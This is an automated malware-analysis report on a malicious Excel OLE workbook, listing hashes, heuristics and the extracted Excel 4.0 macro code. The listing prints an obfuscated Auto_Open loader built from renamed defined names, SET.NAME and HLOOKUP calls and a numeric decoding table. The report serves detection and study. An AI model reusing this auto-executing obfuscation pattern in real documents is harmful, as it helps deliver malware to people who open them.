Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b59110ad22952abd…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:46:30 Authoring application: Microsoft Excel First seen: 2021-04-01
MD5: 0d2a9837006fa70f3152311fd9430ca2 SHA-1: 5d4518771d87b61ce36ed406e71df19785602bc6 SHA-256: b59110ad22952abd7dba43380cd19bbdfd27f0ef2b648ec0f92ad448db11ace2
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6806 bytes
SHA-256: bc21ed872c1ba8779361814cf1f7b5569d4d8b49d7e93e5cbbed811fc4d623c6
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  uwuvvjaV
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I143 
' 0018     24 LABEL : Cell Value, String Constant - BdiiJnAQh len=0 
' 0018     23 LABEL : Cell Value, String Constant - CvOpGofU len=0 
' 0018     21 LABEL : Cell Value, String Constant - DXMefU len=0 
' 0018     22 LABEL : Cell Value, String Constant - eLxJUwN len=0 
' 0018     23 LABEL : Cell Value, String Constant - evEuUQuM len=0 
' 0018     27 LABEL : Cell Value, String Constant - gFiMFaarNLiJ len=0 
' 0018     24 LABEL : Cell Value, String Constant - iLhQCwpxy len=0 
' 0018     24 LABEL : Cell Value, String Constant - iRgGwagLx len=0 
' 0018     21 LABEL : Cell Value, String Constant - KJtVwj len=0 
' 0018     22 LABEL : Cell Value, String Constant - ljREGLh len=0 
' 0018     23 LABEL : Cell Value, String Constant - MWKVUsDF len=0 
' 0018     25 LABEL : Cell Value, String Constant - paSxbFNfGI len=0 
' 0018     26 LABEL : Cell Value, String Constant - QMxnDqwHXQt len=0 
' 0018     25 LABEL : Cell Value, String Constant - rqizGjVJpH len=0 
' 0018     21 LABEL : Cell Value, String Constant - wOuEWa len=0 
' 0018     25 LABEL : Cell Value, String Constant - yjtfzrSver len=0 
' 0018     27 LABEL : Cell Value, String Constant - yqvkSjRxoFHa len=0 
' 0018     23 LABEL : Cell Value, String Constant - YQZPdWJk len=0 
' 0018     22 LABEL : Cell Value, String Constant - ZbFUBDo len=0 
' 0018     24 LABEL : Cell Value, String Constant - ZohVmmfBD len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  uwuvvjaV,I48,"SET.NAME("CvOpGofU",0+VALUE("0"))",""
'  uwuvvjaV,I51,"SET.NAME("ljREGLh",CvOpGofU)",""
'  uwuvvjaV,I53,"SET.NAME("yjtfzrSver",CvOpGofU)",""
'  uwuvvjaV,I56,"SET.NAME("ZbFUBDo",COUNTA(gFiMFaarNLiJ))",""
'  uwuvvjaV,I60,"SET.NAME("MWKVUsDF",COUNTA(rqizGjVJpH))",""
'  uwuvvjaV,I65,[],""
'  uwuvvjaV,I67,"SET.NAME("BdiiJnAQh","")",""
'  uwuvvjaV,I71,"ljREGLh",""
'  uwuvvjaV,I74,"SET.NAME("DXMefU",HLOOKUP("*",gFiMFaarNLiJ,ljREGLh,FALSE))",""
'  uwuvvjaV,I79,"yqvkSjRxoFHa",""
'  uwuvvjaV,I83,"SET.NAME("YQZPdWJk",CvOpGofU)",""
'  uwuvvjaV,I85,[],""
'  uwuvvjaV,Q87,"",-405.00000000000000000000
'  uwuvvjaV,Q88,"",-63.00000000000000000000
'  uwuvvjaV,I89,"YQZPdWJk",""
'  uwuvvjaV,Q89,"",-49.00000000000000000000
'  uwuvvjaV,Q90,"",-233.00000000000000000000
'  uwuvvjaV,I91,"ZohVmmfBD",""
'  uwuvvjaV,Q91,"",-345.00000000000000000000
'  uwuvvjaV,Q92,"",888.00000000000000000000
'  uwuvvjaV,I94,"iLhQCwpxy",""
'  uwuvvjaV,I99,"KJtVwj",""
'  uwuvvjaV,I103,"SET.NAME("QMxnDqwHXQt",VALUE(HLOOKUP("*",rqizGjVJpH,KJtVwj,FALSE)))",""
'  uwuvvjaV,I107,"paSxbFNfGI",""
'  uwuvvjaV,I110,"BdiiJnAQh",""
'  uwuvvjaV,I113,"yjtfzrSver",""
'  uwuvvjaV,I118,NEXT(),""
'  uwuvvjaV,I123,"evEuUQuM",""
'  uwuvvjaV,I128,[],""
'  uwuvvjaV,I130,"eLxJUwN",""
'  uwuvvjaV,I134,NEXT(),""
'  uwuvvjaV,I139,RETURN(),""
'  uwuvvjaV,I165,"SET.NAME("wOuEWa",I48)",""
'  uwuvvjaV,I169,"gFiMFaarNLiJ",""
'  uwuvvjaV,I174,"SET.NAME("rqizGjVJpH",R78C12)",""
'  uwuvvjaV,I178,"SET.NAME("eLxJUwN",183)",""
'  uwuvvjaV,I180,"SET.NAME("iRgGwagLx",9)",""
'  uwuvvjaV,I182,wOuEWa(),""
'  uwuvvjaV,I183,HALT(),""

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